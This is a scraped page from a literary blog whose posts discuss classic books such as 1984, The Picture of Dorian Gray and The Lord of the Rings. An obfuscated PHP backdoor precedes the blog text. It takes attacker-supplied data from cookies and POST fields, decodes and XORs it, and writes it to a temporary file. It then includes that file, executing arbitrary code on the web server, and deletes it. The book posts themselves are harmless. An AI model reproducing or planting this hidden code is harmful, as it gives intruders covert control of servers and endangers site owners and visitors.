$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} 50 Books to Read Before You Die – Page 6 – 50 Books to Read Before You Die

words to inspire before you expire

Tag: 50 Books to Read Before You Die (Page 6 of 6)

1984

Good morning, class, and down with Big Brother.

I enjoyed 1984 much more reading it the second time…it must have something to do with not being in high school anymore. I’m sure my high school experience was better than others, but when my English teacher helped us understand George Orwell by comparing our student news videos to the Two Minutes Hate and the manipulation of the media, a wee bit of paranoia started to set in. I’ve been a skeptical person since.

Paranoia aside, 1984 is very enlightening. Rereading it now, in the heightened political tension of our country, is particularly notable. I won’t pretend to understand the political spectrum, but I do understand ethics, and there are some unethical happenings in these United States, let me tell you.

But before jumping into ethics and politics, I want to jump into the novel itself, and get at why it’s worth reading.


A Summary

big-brother-posterFor those of you that don’t know, 1984 is a novel from the late 1940s, portraying a dystopian future set in or around the year 1984. We follow Winston Smith, a regular enough guy, who spends his days updating documents in service to the Party (the ruling political body); but in his mind, he gives us the scoop on the terrible world he lives in.  The Party enforces total order and removes any and all traces of rebellion or revolution; telescreens and microphones are everywhere, destroying privacy; egregious lies are perpetuated, the most notable of which is a fictional, decades-long war used to distract the masses and enforce rations; and Big Brother, the terrifying face that looms over everything, holds all of the political power.

In the privacy of Winston’s own mind, we find freedom. He can think what he wants, but that is dangerous: if his face, eyes, or body language reveal his thoughts to the ever-watchful telescreens, he will be caught committing thoughtcrime (any insurgent or disloyal thought) and for that he can be executed.  So he is always mentally suppressing  himself, forcing everything but the inner sanctum of his mind to walk, talk, and act like any other Party supporter would. He can only hope that this is enough to maintain his individuality.

The book is divided in three parts. In Part One, we see a handful of days in Winston’s life, and what he does to survive. In Part Two, his life is turned around by a woman he meets, who has a similar hate for the Party, and they begin an affair. I can’t give away much of Part Three without spoiling the ending, but suffice it to say that his affair leads him further inside the Party’s inner workings than he’s ever been before.


A Commentary on Individuality

1984-and-camera-imageThere are many ideas guiding the novel, but Winston’s individuality is the most important one. The fact that he has his own memories, his own thoughts, his own feelings… it means that he still has his humanity. The Party is, ideologically, a group mind; they believe that reality exists only in the collective mind, so if everyone agrees that something is true, then it is true. If there were only two people on the planet and they both truly believed that they had the ability to fly, then that was true, regardless of whether they actually lifted off the ground. External reality is invalid.

I think Winston is less concerned about the idea that reality is subjective, and more interested salvaging the part of him that mentally disagrees with the Party’s ideology. He wants to maintain his self by distancing it from the Party, but they have all the power, so he has to do that without them knowing, making him a sheep in wolf’s clothing. He can see his impending death, so his life is about putting that off for as long as possible, which is only worthwhile because he remains himself, at his own peril.

This may be a drastic view on Orwell’s part, but it is a dark mirror of the world we live in. Historically speaking, we have less privacy than ever before. There are drones and cameras and microphones everywhere, and there is the Internet, where social media opens up every biographical floodgate and where bloggers post at their every whim (don’t worry, I don’t do that; I may be whimsical, but I’m practically whim-less; impulsiveness is my bane). There is an incredible power to the technology we have access to, and that technology can be extremely costly to our lives and our humanity, if we aren’t careful.

But imagine, for a second, what reality looks like if exactly that happens—if we aren’t careful, if we are reckless, if we are even destructive. This novel reveals that there are two options—recklessness and order, or as I like to call them, freedom and peace. And, if you’ll allow the genre leap, these same options are offered in a much more contemporary story…Captain America: Civil War.


The Comics’ Relief

captain-america-civil-war-posterWell, I seem to have caught the attention of comic book fans in the back of the class—thank you for joining us. Yes, I am comparing George Orwell’s 1984 to the blockbuster hit of the year, Captain America: Civil War, at least in part because it continues Orwell’s political and ethical dialogue. It’s not a perfectly clean connection, but a very similar issue is played out between our opposing heroes, Steve Rogers’ Captain America and Tony Stark’s Iron Man.

Stark, having been partly responsible for the almost-destruction of Earth, has given up. He thinks superpowered people should answer to someone before things get out of hand, and he’s lumped himself into the group that needs to be “put in check.” He can’t stand to be responsible for more loss of life. Rogers starkly opposes this (don’t you love a good pun); when leaders start putting superheroes on a register, they dangerously approach the death of freedom. He wants to save people, and if he signs over his allegiance to a government body, he may not get the chance to do what he believes is right. He trusts his own abilities and his own morals more than those of a government.

The irony is not lost here—Captain America is opposing the American government.  Well, surprise, that’s because America is its people, not its ruling body. Rogers’ decision is about freedom, and not letting the fear of loss of life get in the way of that. Stark, on the other hand, is giving into his own fears, and his guilt. He’s willing to sacrifice freedom for safety, where Rogers isn’t. Stark wants peace and order, and he’ll do what it takes to get it.


A Political, Ethical Question

1984-party-slogan-imageAs terrible as the world of 1984 sounds, it is a peaceful world. Crime is dealt with before it happens, the ruling body stays in power unquestionably, and noble ideas about freedom and justice won’t dare topple the order that has been established. It is a deadly, terrifying peace, at the cost of freedom. Winston Smith, our aging, frail hero, is maintaining his individuality—his freedom to be himself—endangering his life at every passing moment. The novel asks an unanswerable question of politics and ethics—what’s more important, freedom or peace?

Even worse, it gives us an answer we don’t like: external reality is invalid, the Party’s truth is the only truth, and the individual’s thoughts, memories, and feelings are subjective.  The Party has power and truth, and the individual’s denial of it makes the individual an enemy of the state. Everything said can be disproved, denied, manipulated…everything thought is a lie because the individual mind is a lie, and the collective mind is the only truth.

As brutally heart-wrenching as Captain America: Civil War is, 1984 takes “brutal” to a whole new level.


If you decide to try reading 1984, I recommend you come at it with determination. The language is difficult to muddle through, and at its worst, it is a tangent on ideological concepts. Orwell uses the story to explain political ideas, and he does it because the story is important, but it doesn’t seem as important to him as the political ideas. Even so, I can’t imagine that there’s a better way to tell this kind of story, which definitely needs to be told.

Your homework: answering another unanswerable question. If you had the choice between freedom and peace, what would you choose? I’ve obviously landed on the side of freedom, as have George Orwell and Captain America, but this is such a broad topic that we can easily be proven wrong. Is it more important to be free, regardless of the cost to peace? Or is it more important to have a lasting peace, sacrificing freedom in the process? Leave a reply in the comments, and bonus points for anyone who ties in actual politics to a political question.

Up next, I’m reading Hamlet. Time for some Oedipal complexes and existential crises!!

Prof. Jeffrey

The Picture of Dorian Gray

Hello again, class.

Per our discussion last week, I am unashamed to admit that I read most of The Picture of Dorian Gray aloud to myself in a terrible British accent.  When I got to the really dramatic parts, I slowed it down and pretended I was in a movie.  I encourage this sort of behavior in your free time.


Dorian Gray and his Portrait, from The Picture of Dorian Gray (1945)

Dorian Gray and his Portrait, from The Picture of Dorian Gray (1945)

Anyway, let’s jump right in—I’m surprised at how coincidentally similar Dorian Gray’s portrait is to Sauron’s ring and Lord Voldemort’s Horcruxes.  For anyone who is unfamiliar with Dorian Gray’s story, it details the life of a man whose soul is linked to a portrait of himself, manifested in two ways: he remains young while the portrait ages, and his sins damage the portrait while his soul remains undamaged.

Unlike The Lord of the Rings and The Harry Potter series, though, this is no adventure story—it’s more like a Victorian Gothic morality tale, criticizing morality.  Instead of “action,” the story relies more on dialogue and Dorian’s inner thoughts.  More than any of the books I’ve read so far for this class, it is unadulterated art, which makes it challenging and refreshing.

A Statue of Oscar Wilde in Dublin, Ireland

A Statue of Oscar Wilde in Dublin, Ireland

For a little backstory: author Oscar Wilde is actually better known for his plays. The Picture of Dorian Gray is his only novel, but it has moments that seem like a play—dialogue is uninterrupted by descriptions, chapters take place only one scene at a time, and the story splits evenly into two separate “acts” (Dorian as a young man and Dorian in his late 30s).  Wilde probably wrote it as a novel because he wanted to capture Dorian’s thoughts, which analyze the soul, art, God, evil, England, love, sin, and fashion…all at once.

Wilde included a preface as a way of defending his work, where he explains that art and morality are separate and criticizes nineteenth century treatment of art. I’m betting Wilde added this preface because people didn’t catch the messages in the novel itself.  No need to worry—Prof. Jeffrey caught on!  In every piece of dialogue between the three main characters, they discuss the battle between art and morality, and what that means for society.  These moments distance themselves from the story, and though they tend to come off as preachy, they’re always interesting.  These moments help the reader seriously consider Dorian Gray’s immortality and his addiction to sin.

Dorian Gray is something of a cross between a vampire and Peter Pan—stuck in the prime of his life but disconnected from his soul.  He is a lot like Shakespeare’s Hamlet—a youthful figure trapped between a tormented soul, a tragic fate, and lengthy dialogue—which further cements his status as an amazing literary character.  If you’re looking for a reason to read Dorian Gray, he’s it: his inner thoughts show us his temptation to commit evil acts and his obsession with his portrait, and the spectacle of his life is beautiful and tragic.  He disgusts, moves, and terrifies us because he is simultaneously the worst and best versions of ourselves.  Feel free to listen in on the art-and-morality lectures as you read, but you should stick around to experience the cataclysmic life of Dorian Gray.


I’m moving on to George Orwell’s 1984 next.  I’ve been remarkably stuck in the fantasy genre, and a little dystopian drama might shake things up a bit around here.  That being said, fantasy is probably my favorite genre to read in, and I’d like to hear what novels you’ve read.

Your homework: leave a comment describing your favorite fantasy novel.  Tell me what it’s like—I don’t want the summary I can find just about anywhere, because I’d much rather have your personal impression of it.  Why did you like it so much?  And the question of the hour—you know what this class is about—WHY should I read it?

I look forward to your comments.  See you next week!

Prof. Jeffrey

The Lord of the Rings

Welcome, students. I’ve finally finished reading all 1,000+ pages of The Lord of the Rings.

I am biased, in a way: I grew up watching The Lord of the Rings as movies, so I knew the story almost by heart by the time I sat down with the original material.  But there is so much that separates the original from the movies, not only in the medium, but in the mood and development of the story too.  It not only looks different; it feels different.


The trilogy has its problems, but it is outmatched by what Tolkien does right.  For example, Middle-Earth is astounding–the hobbits of the Shire, the mystical Elven-land of Rivendell, the forests of Lothlórien and Fangorn, the vast kingdom of the horse-land Rohan, the glorious realm of Gondor helmed by the white towers of Minas Tirith, and the dark and fiery Mordor.  Its scope is matched with depth; Tolkien creates dynamic cultures from the ground up, founded on his beautifully invented languages.

Gandalf the Wizard

Gandalf the Wizard

Tolkien’s characters are wonderful, and I’ve got three favorites–Gandalf, Gollum, and Sam.  Gandalf, a wizard, is the voice of wisdom; he is the story’s mind and moral compass.  Gandalf fights evil in many ways, but his chief method is through acts of love, and through the comfort of believing in the smaller things that tip the scales in times of war.  He is, quite possibly, the most quotable character.

Gollum

Gollum

Gollum is much more interesting to study–he has been torn apart by the dark magic of the One Ring, and the pieces of himself fight with each other.  He calls the ring “my precious,” an excellent metaphor for materialism and what it does to the soul.  He is the smallest of enemies, but he is dynamic, pitiable, terrifying, and integral to the quest of our characters.

Samwise Gamgee

Samwise Gamgee

And then there’s Sam.  Samwise Gamgee is the heart of the story, and easily the most cherished character.  He is Frodo’s servant and friend, and as Frodo dutifully bears the ring, Sam bears his master Frodo.  Amidst the terrifying obstacles they face, Sam is incredibly brave, refreshingly hopeful, and unquestionably hilarious.  He is also directly involved in every tearjerker moment, in both the books and the movies, and while the cost of their quest is greatest on Frodo, Sam’s place helps ground that cost back in the real world–in the hope that after such a journey, such a treasure as home can be regained.


The trilogy has flaws.  The most glaring issue is the fact that it has, approximately, four female characters.  Two of them are forgettable, one is an Elven queen (angelic beyond compare, so impossible to connect to), and the last is a warrior, who eventually gives up fighting for her kingdom when she finds true love.  Feminism does not abound here.

On a personal note, Tolkien also suffers when it comes to exposition.  The movies notably tighten the story, but the novel lags on in huge passages where Tolkien is simply trying to catch up with his characters’ tales, and it forces the reader to trudge through the narrative.  The story seems to date itself when it handles conspiracy and secrecy, but because I know the movies so well, it could just be that the big reveals didn’t feel like much.


The One Ring

The One Ring

These issues aside, the depth of the world and the everlasting themes are the reason to read The Lord of the Rings.  Environmentalism has its say on more than one occasion, most notably when the trees of Fangorn fight back against Saruman’s machine-like destruction of the forests.  The ring’s dark power is temptation–characters succumb to pride, vengeance, greed, and selfishness, which speaks to the power of things and the frailty of humankind.  Tales and songs act as meta-fiction, showing us that this is a great story as we read it–this is a kind of song, an epic journey for the ages, that helps us appreciate the stories we know and the stories we’re in.

Most importantly, we see a sprawling war hinge on the actions of a hobbit, the smallest of creatures in Middle-Earth, who has a greater strength than men twice his size: an inner strength, which is more powerful than an army of monsters.  Through the small things–acts of love and kindness, trust, bearing our everyday burdens–we can change the course of the future.

My reading of The Lord of the Rings is unconventional–the movies helped me understand the book.  I’d like to hear from others who just so happened to experience the opposite.

Your homework: if you read the story BEFORE watching the movies, take a minute to comment on what that experience was like!  Was Tolkien’s work difficult to read without the assistance of the movies?  Were you more critical of the movie adaptations than most?  What did you think of Tolkien’s writing–not just the plot and the characters, but also his voice, style, exposition?  Leave a comment below!  (And I don’t want to be blatant, but the more thorough your answers are, the better your grade will be.  I’m just saying.)


Up next, I’m reading the remarkably short novel The Picture of Dorian Gray by Oscar Wilde.  I’m very excited about this–I’m a fan of Irish literature, but I’ve never read any of Wilde’s work.  All I know about Dorian Gray so far is his portrayal in the graphic-novel-based movie The League of Extraordinary Gentlemen…so, basically, I know his name is Dorian Gray.

Hopefully, I’ll know more next week.  See you then.

Prof. Jeffrey

The Harry Potter Series

Good morning, class.

I’m still powering through The Lord of the Rings.  I’m about halfway finished, and I am hoping I’ll be done before our next class.  Await my forthcoming epic lecture.

Instead, I’m dedicating class today to the Harry Potter series. Why, the bolder of you may ask?  There are a handful of reasons.  Firstly, I’m not rereading Harry Potter–I’m only writing about it here.  I’ve read each book at least three times, so I feel I’ve earned the right to call myself an expert on the series (and no, you can’t call yourself an expert if you’ve ONLY seen the movies…there’s no call for that kind of nonsense in my classroom).

Secondly, I was inspired once I realized that Harry Potter and The Lord of the Rings are basically the same story: an unlikely protagonist becomes a key fighter in a vast magical war, accompanied by close friends who, together, face death, betrayal, and dark magic in a fantastically epic world (created by the genius mind of a British author known by strikingly vague initials rather than a first name).

And thirdly, I’m interested in harkening back to a time before Harry Potter was LITERALLY THE COOLEST THING EVER.  This series may have one of the strongest fandoms in the world, but like any fandom, it earned its popularity.  Did you know that there are people who are not a part of the Harry Potter fan community?  I assume they are simply overwhelmed by the ridiculous in-your-face-ness of said fan community’s enthusiasm.  Let’s face it–we’re a crazy group.

But someone needs to save the pour souls that seem to avoid this fantastic Wizarding World like the plague.  Someone needs to let them know that in the beginning, Harry Potter was simply about an orphan trapped under the stairs.

Enter Professor Jeffrey (cue John Williams music).

When readers meet Harry, he is a child bullied by his aunt, uncle, and obnoxiously spoiled cousin.  I imagine J.K. Rowling writing to a very specific reader–a child in a scary, uninviting world.  Then arrives his letter of acceptance to Hogwarts School of Witchcraft and Wizardry, and an adventure begins.

I, personally, have waited for my Hogwarts acceptance letter for about 15 years.  But it’s okay, because my dreams of going to Hogwarts came alive through seven novels and eight movie adaptations following Harry on his journey.  The Harry Potter books are one of the defining moments in my childhood, and this is the case for many other readers as well.  This series was our hope of escaping a world we were afraid of.

Once the series springs from this foundation, it soars into one of the most innovative fantasy worlds ever created.  Magical spells next to beautifully written characters; wizarding politics and wizarding sports; a boarding-school castle with more secrets than a child could dream of; a brooding and dynamic villain in a complex wizarding war; and through it all, a mostly unbiased boy-wizard hero with a courageous heart and a sometimes-simple head.  It’s the adventure of a lifetime.

Don’t get me wrong–if Harry Potter isn’t your taste, don’t waste your time.  There are tons of books to read.  Don’t limit yourself to what’s most popular.  But I would be letting you down as my students if I didn’t educate you on why it is so important.  Besides everything listed above, here is the gist: it’s important because it meaningfully discusses and challenges topics like ethics, death, friendship, education, love, coming-of-age, hope, and magic, all in a kid-friendly, not-condescending way.  Not a lot of authors can do that with as much gusto as Rowling put forth.

I’ll definitely be including quotes from the novels in the coming week.  Some of you may have noticed that I’ve included a few quotes on my blog–extra credit is reserved for those who come in on Mondays and Fridays, not just Wednesdays.  You’re not required to come to class on those days, but if you do, you’ll be letting me know how much fun my class is.  And I know some of you are having fun!

As an added assignment (NOT extra credit…this is the regular credit), I’d like to hear from you.  Harry Potter means a lot to me, and I’m sure it means a lot to you and your classmates.  Leave a comment about what Harry Potter means to you, or has meant to you in the past.  If the importance of the Harry Potter series is partly found in the meaningfulness it has in the lives of its fans, then it would be a disservice to leave out your own story.

Enjoy your week, and I look forward to hearing from you.

Prof. Jeffrey

Alice’s Adventures in Wonderland

Hello, class, and welcome back.  I hope you’ve had a good week.

I’ve spent the last week reading Alice’s Adventures in Wonderland.  I’ll bet you know the story.  You’ve probably seen the Tim Burton movie, or the old Disney movie.  Some of you may have seen the short-lived TV show Once Upon a Time in Wonderland.  The curiouser of you may have noticed the subtle Alice references in movies like The Matrix or Still Alice.  Then there are the fans of T-Swift’s “Wonderland” from her 1989 album.

This story has saturated our culture.  We are still swimming in Alice’s pool of tears (thank you, for those of you clapping in the back; yes, it was a good joke).  That should be enough of a reason to read it—if you’re going to at least try to understand all of those down-the-rabbit-hole-, mad-hatter-, caterpillar-hookah-jokes, you might as well read the book to see what the fuss is about.

But my opinion, for the two cents that its worth, is that Alice has saturated our culture because of something more important.  It has some inner beauty, some strange quality…something that makes it stand the test of time and spawn hundreds of adaptations and pop-culture references.  I don’t think it’s Wonderland that makes it so special (but that place is a TRIP, to say the least).  I don’t think it’s the adventures Alice has there, either.  I think it’s Alice.

She’s some kind of “every-child.”  She’s far from normal and that’s what makes her matter—no child on the planet actually fits the definition of “normal.”  The weirdness of Alice makes her relatable.  She talks to herself as if she’s two people (who hasn’t done that).  Her adventures make her question if she’s still Alice at all, and at one point she decides that she must be some girl named Mabel, since she’s changed so much.  Even the poetry she’s been trained to recite (let me go ahead and disagree with that “educational” practice right there…alright, moving on) comes out wrong.  Not bad, just wrong—different than she learned it.  She clashes with the Victorian England she’s been raised in.

Without even trying, she subverts the rules, etiquette, politics, and education of her society.  It sets her apart, forcing her to be lost in this strange Wonderland.  And if that’s the case, wouldn’t all children, as represented by Alice, be lost in their own Wonderland?  Wouldn’t all children, by being themselves, conflict with what society needs them to be?

YES.

Wonderland isn’t some strange fantasy world.  It’s the way children see reality.  Rules that don’t make sense, random body changes, identity confusion, and a string of useless lessons…Wonderland is around us here and now.  And that’s not necessarily a good thing.

Now, confession time: I am actually rereading Alice’s Adventures in Wonderland.  The first time I read it was in a college class, so I get to pretend like I know what I’m talking about.  But I do believe it—that Alice was Carroll’s way of subverting Victorian rules by showing their consequences.  Wonderland is an amazing place from the outside, students, but Alice’s adventures weren’t as happy-go-lucky for her.  I believe Carroll was trying to show us that if we stick to rules, regulations, and the evils of “etiquette,” our children will suffer for it.

Alice didn’t take too long for me to finish (another reason to read it—because it’s quick), so finishing this post wasn’t a strain on my personal life.  But my #2 book also happens to be my unofficial #3 and #4 book: the Lord of the Rings Trilogy.  It is much longer.  Don’t worry, we’ll still have class next week (wipe those frowns off your faces, my class is fun!!).  I’ll just be improvising my lecture a tad.

Until next time,

Prof. Jeffrey

Introduction

Welcome, class.

How many of you have seen this bookmark?  Raise your hands.

The Bookmark of a Lifetime

It features a list of 50 books everyone should read before they die.  To see the list a little more clearly, you can go here, or click on the link at the top of the page labeled The List.

I don’t know about you guys, but when I look at this list, I feel challenged.  So consider this the official declaration of my commitment—I’m going to read all 50 books!

I know I’m not the first to commit to this, nor the first to actually do it.  But after several Internet searches, I’ve realized that there is little online proof that anyone has done it.  Do some searches yourself…you’ll find only brief comments, questionably complete checklists, and vague evidence of people having read all 50.  Where’s the article reminiscing on the experience?  Where’s the blog maintaining updates after each book has been read?  Where’s the hard evidence?

If you’re a perceptive student, you can probably tell where this is going.  I’m not only going to read all 50 books—I’ll be submitting weekly updates on the experience as well.  I want to detail the experience for the world.

Now, I can already hear you class clowns groaning in the back.  Let me be perfectly honest with you—if literature is something you couldn’t be mildly interested in, this probably isn’t the blog for you.  No worries.  This isn’t high school.  You can stand up and walk right out of this classroom, if you feel so inclined.  But you’ll be missing out on something very important.

There’s a reason this list isn’t called “50 Books That You Should Maybe Read, But It’s Alright If You Don’t, Because They Aren’t Really All That Important, So Don’t Even Worry About It.”

These are 50 books to read BEFORE YOU DIE.

Imagine reaching the end of your life without reading these!  Shouldn’t you at least find out why each one is so important?  Shouldn’t you find out why each book is so admired, to have been chosen for such an esteemed list of literary masterpieces?

That’s what I’m offering you.  Through my witty remarks, literary enthusiasm, and warm class-blog environment, I’m sharing with you the chance to skip a few steps—the chance to understand why you should read each book before you die, without actually needing to read all of them.  And while I absolutely encourage you to read these books yourself, I’d prefer you do it once I’m finished writing about each one on this blog.  I’m sure you can restrain yourself.

Also, to be clear, I’m not going to summarize these books for you.  If you need a shabby summary, visit the EncyclopeWiki page or check out RecapNotes, or whatever it’s called.  Those sites may be able prepare you for the test, but I’m here to prepare you for LIFE.  Instead of a book summary, I’m writing about the reason these books should be read at all, which I think is far more important.

And your homework?  Yes, of course you have homework.  Your job is to come to class every Wednesday and read the update.  Comment if you like.  Make suggestions.  Glean the inspiration you need to read all 50 yourself, or at least the few that interest you.  Find out why you should finish each one before your untimely fate.

Last, but undeniably not least, I’ll be starting with Alice’s Adventures in Wonderland by Lewis Carroll.  I haven’t chosen a particular reading order, but this timeless classic seems like a good place to start.

See you next week!

Prof. Jeffrey

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